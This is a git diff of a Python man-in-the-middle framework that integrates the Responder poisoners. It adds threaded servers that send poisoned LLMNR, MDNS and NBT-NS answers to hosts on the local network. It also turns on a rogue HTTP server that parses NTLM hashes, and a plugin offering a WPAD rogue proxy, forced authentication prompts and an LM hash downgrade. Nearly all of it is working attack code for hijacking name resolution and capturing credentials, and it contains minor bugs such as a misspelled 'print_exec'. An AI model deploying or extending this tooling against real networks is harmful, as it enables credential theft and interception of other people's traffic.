diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py
index 930593e..50f0754 100644
--- a/core/poisoners/LLMNR.py
+++ b/core/poisoners/LLMNR.py
@@ -16,79 +16,111 @@
# along with this program. If not, see .
import socket
import struct
-import core.responder.settings
-import core.responder.fingerprint
+import core.responder.settings as settings
+import core.responder.fingerprint as fingerprint
+import threading
-from core.reponder.packets import LLMNR_Ans
+from traceback import print_exc
+from core.responder.packets import LLMNR_Ans
from core.responder.odict import OrderedDict
-from SocketServer import BaseRequestHandler
+from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *
+class LLMNR:
+
+ def start(self):
+ try:
+ server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
+ t = threading.Thread(name='LLMNR', target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+ except Exception as e:
+ print "Error starting LLMNR server on port 5355"
+ print_exc()
+
+class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
+
+ allow_reuse_address = 1
+
+ def server_bind(self):
+ MADDR = "224.0.0.252"
+
+ self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
+
+ Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
+
+ if OsInterfaceIsSupported():
+ try:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+ except:
+ pass
+ UDPServer.server_bind(self)
def Parse_LLMNR_Name(data):
- NameLen = struct.unpack('>B',data[12])[0]
- Name = data[13:13+NameLen]
- return Name
+ NameLen = struct.unpack('>B',data[12])[0]
+ Name = data[13:13+NameLen]
+ return Name
def IsOnTheSameSubnet(ip, net):
- net = net+'/24'
- ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
- netstr, bits = net.split('/')
- netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
- mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
- return (ipaddr & mask) == (netaddr & mask)
+ net = net+'/24'
+ ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
+ netstr, bits = net.split('/')
+ netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
+ mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
+ return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
- dnsip = []
- for line in file('/etc/resolv.conf', 'r'):
- ip = line.split()
- if len(ip) < 2:
- continue
- if ip[0] == 'nameserver':
- dnsip.extend(ip[1:])
- for x in dnsip:
- if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
- print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
- print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
- print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
- else:
- pass
+ dnsip = []
+ for line in file('/etc/resolv.conf', 'r'):
+ ip = line.split()
+ if len(ip) < 2:
+ continue
+ if ip[0] == 'nameserver':
+ dnsip.extend(ip[1:])
+ for x in dnsip:
+ if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
+ print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
+ print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
+ print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
+ else:
+ pass
if settings.Config.AnalyzeMode:
- IsICMPRedirectPlausible(settings.Config.Bind_To)
+ IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNRServer(BaseRequestHandler):
- def handle(self):
- data, soc = self.request
- Name = Parse_LLMNR_Name(data)
+ def handle(self):
+ data, soc = self.request
+ Name = Parse_LLMNR_Name(data)
- # Break out if we don't want to respond to this host
- if RespondToThisHost(self.client_address[0], Name) is not True:
- return None
+ # Break out if we don't want to respond to this host
+ if RespondToThisHost(self.client_address[0], Name) is not True:
+ return None
- if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
+ if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
- if settings.Config.Finger_On_Off:
- Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
- else:
- Finger = None
+ if settings.Config.Finger_On_Off:
+ Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
+ else:
+ Finger = None
- # Analyze Mode
- if settings.Config.AnalyzeMode:
- LineHeader = "[Analyze mode: LLMNR]"
- print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
+ # Analyze Mode
+ if settings.Config.AnalyzeMode:
+ LineHeader = "[Analyze mode: LLMNR]"
+ print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
- # Poisoning Mode
- else:
- Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
- Buffer.calculate()
- soc.sendto(str(Buffer), self.client_address)
- LineHeader = "[*] [LLMNR]"
+ # Poisoning Mode
+ else:
+ Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
+ Buffer.calculate()
+ soc.sendto(str(Buffer), self.client_address)
+ LineHeader = "[*] [LLMNR]"
- print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
+ print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
- if Finger is not None:
- print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
- print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
+ if Finger is not None:
+ print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
+ print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py
index 959ac43..a81ef6e 100644
--- a/core/poisoners/MDNS.py
+++ b/core/poisoners/MDNS.py
@@ -15,12 +15,45 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
import struct
-import settings
+import core.responder.settings as settings
import socket
+import threading
-from SocketServer import BaseRequestHandler
-from packets import MDNS_Ans
-from utils import *
+from traceback import print_exc
+from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
+from core.responder.packets import MDNS_Ans
+from core.responder.utils import *
+
+class MDNS:
+
+ def start(self):
+ try:
+ server = ThreadingUDPMDNSServer(('', 5353), MDNSServer)
+ t = threading.Thread(name='MDNS', target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+ except Exception as e:
+ print "Error starting MDNS server on port 5353"
+ print_exc()
+
+class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
+
+ allow_reuse_address = 1
+
+ def server_bind(self):
+ MADDR = "224.0.0.251"
+
+ self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
+
+ Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
+
+ if OsInterfaceIsSupported():
+ try:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+ except:
+ pass
+ UDPServer.server_bind(self)
def Parse_MDNS_Name(data):
data = data[12:]
@@ -35,7 +68,7 @@ def Poisoned_MDNS_Name(data):
Name = data[:len(data)-5]
return Name
-class MDNS(BaseRequestHandler):
+class MDNSServer(BaseRequestHandler):
def handle(self):
diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py
index 0d550ec..652ca42 100644
--- a/core/poisoners/NBTNS.py
+++ b/core/poisoners/NBTNS.py
@@ -15,12 +15,38 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
import socket
-import settings
-import fingerprint
+import threading
+import core.responder.settings as settings
+import core.responder.fingerprint as fingerprint
-from packets import NBT_Ans
-from SocketServer import BaseRequestHandler
-from utils import *
+from traceback import print_exc
+from core.responder.packets import NBT_Ans
+from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
+from core.responder.utils import *
+
+class NBTNS:
+
+ def start(self):
+ try:
+ server = ThreadingUDPServer(('', 137), NBTNSServer)
+ t = threading.Thread(name='NBTNS', target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+ except Exception as e:
+ print "Error starting NBTNS server on port 137"
+ print_exec()
+
+class ThreadingUDPServer(ThreadingMixIn, UDPServer):
+
+ allow_reuse_address = 1
+
+ def server_bind(self):
+ if OsInterfaceIsSupported():
+ try:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+ except:
+ pass
+ UDPServer.server_bind(self)
# Define what are we answering to.
def Validate_NBT_NS(data):
@@ -42,7 +68,7 @@ def Validate_NBT_NS(data):
return False
# NBT_NS Server class.
-class NBTNS(BaseRequestHandler):
+class NBTNSServer(BaseRequestHandler):
def handle(self):
diff --git a/core/responder/settings.py b/core/responder/settings.py
index 1e25708..2d9b51a 100644
--- a/core/responder/settings.py
+++ b/core/responder/settings.py
@@ -136,21 +136,17 @@ class Settings(ConfigWatcher):
# CLI options
self.Interface = options.interface
+ self.Force_WPAD_Auth = options.forcewpadauth
+ self.LM_On_Off = options.lm
+ self.WPAD_On_Off = options.wpad
+ self.Wredirect = options.wredir
+ self.NBTNSDomain = options.nbtns
+ self.Basic = options.basic
+ self.Finger_On_Off = options.finger
+ self.AnalyzeMode = options.analyze
+ #self.Upstream_Proxy = options.Upstream_Proxy
- try:
- self.LM_On_Off = options.LM_On_Off
- self.WPAD_On_Off = options.WPAD_On_Off
- self.Wredirect = options.Wredirect
- self.NBTNSDomain = options.NBTNSDomain
- self.Basic = options.Basic
- self.Finger_On_Off = options.Finger
- self.Force_WPAD_Auth = options.Force_WPAD_Auth
- self.Upstream_Proxy = options.Upstream_Proxy
- self.AnalyzeMode = options.Analyze
- except AttributeError:
- pass
-
- self.Verbose = False
+ self.Verbose = True
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface)
diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py
index 6a71471..ade76cf 100644
--- a/core/servers/HTTP.py
+++ b/core/servers/HTTP.py
@@ -16,7 +16,9 @@
# along with this program. If not, see .
import os
import struct
-import core.responder.settings
+import core.responder.settings as settings
+import threading
+from traceback import print_exc
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
@@ -26,6 +28,34 @@ from core.responder.packets import NTLM_Challenge
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
+class HTTP:
+
+ def start(self):
+ try:
+ if OsInterfaceIsSupported():
+ server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1)
+ else:
+ server = ThreadingTCPServer(('', 80), HTTP1)
+
+ t = threading.Thread(name='SMB', target=server.serve_forever)
+ t.setDaemon(True)
+ t.start()
+
+ except Exception as e:
+ print "Error starting HTTP server: {}".format(e)
+ print_exc()
+
+class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+
+ allow_reuse_address = 1
+
+ def server_bind(self):
+ if OsInterfaceIsSupported():
+ try:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
+ except:
+ pass
+ TCPServer.server_bind(self)
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, client):
@@ -222,13 +252,14 @@ def PacketSequence(data, client):
return str(Response)
# HTTP Server class
-class HTTP(BaseRequestHandler):
+class HTTP1(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
+ GrabURL(data, self.client_address[0])
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
diff --git a/mitmf.py b/mitmf.py
index cc4bb5b..a6b3482 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -91,7 +91,6 @@ strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
-reactor.listenTCP(3141, strippingFactory)
ProxyPlugins().all_plugins = plugins
@@ -141,9 +140,9 @@ NetCreds().start(options.interface, options.ip)
print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start the HTTP Server
-#from core.servers.HTTP import HTTP
-#HTTPserver().start()
-#print "|_ HTTP server online"
+from core.servers.HTTP import HTTP
+HTTP().start()
+print "|_ HTTP server online"
#Start DNSChef
from core.servers.DNS import DNSChef
diff --git a/plugins/responder.py b/plugins/responder.py
new file mode 100644
index 0000000..73a01db
--- /dev/null
+++ b/plugins/responder.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+import flask
+
+from plugins.plugin import Plugin
+from twisted.internet import reactor
+
+class Responder(Plugin):
+ name = "Responder"
+ optname = "responder"
+ desc = "Poison LLMNR, NBT-NS and MDNS requests"
+ tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
+ version = "0.2"
+
+ def initialize(self, options):
+ '''Called if plugin is enabled, passed the options namespace'''
+ self.options = options
+ self.interface = options.interface
+ self.ip = options.ip
+
+ # Load (M)DNS, NBNS and LLMNR Poisoners
+ from core.poisoners.LLMNR import LLMNR
+ from core.poisoners.MDNS import MDNS
+ from core.poisoners.NBTNS import NBTNS
+ LLMNR().start()
+ MDNS().start()
+ NBTNS().start()
+
+ def reactor(self, strippingFactory):
+ reactor.listenTCP(3141, strippingFactory)
+
+ def options(self, options):
+ options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
+ options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries")
+ options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries")
+ options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query")
+ options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
+ options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server")
+ options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
+ options.add_argument('--basic', dest="basic", action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py
index 9a7f783..cd69328 100644
--- a/plugins/screenshotter.py
+++ b/plugins/screenshotter.py
@@ -34,8 +34,8 @@ class ScreenShotter(Inject, Plugin):
def initialize(self, options):
Inject.initialize(self, options)
- self.js_payload = self.get_payload()
self.interval = options.interval
+ self.js_payload = self.get_payload()
def request(self, request):
if 'saveshot' in request.uri: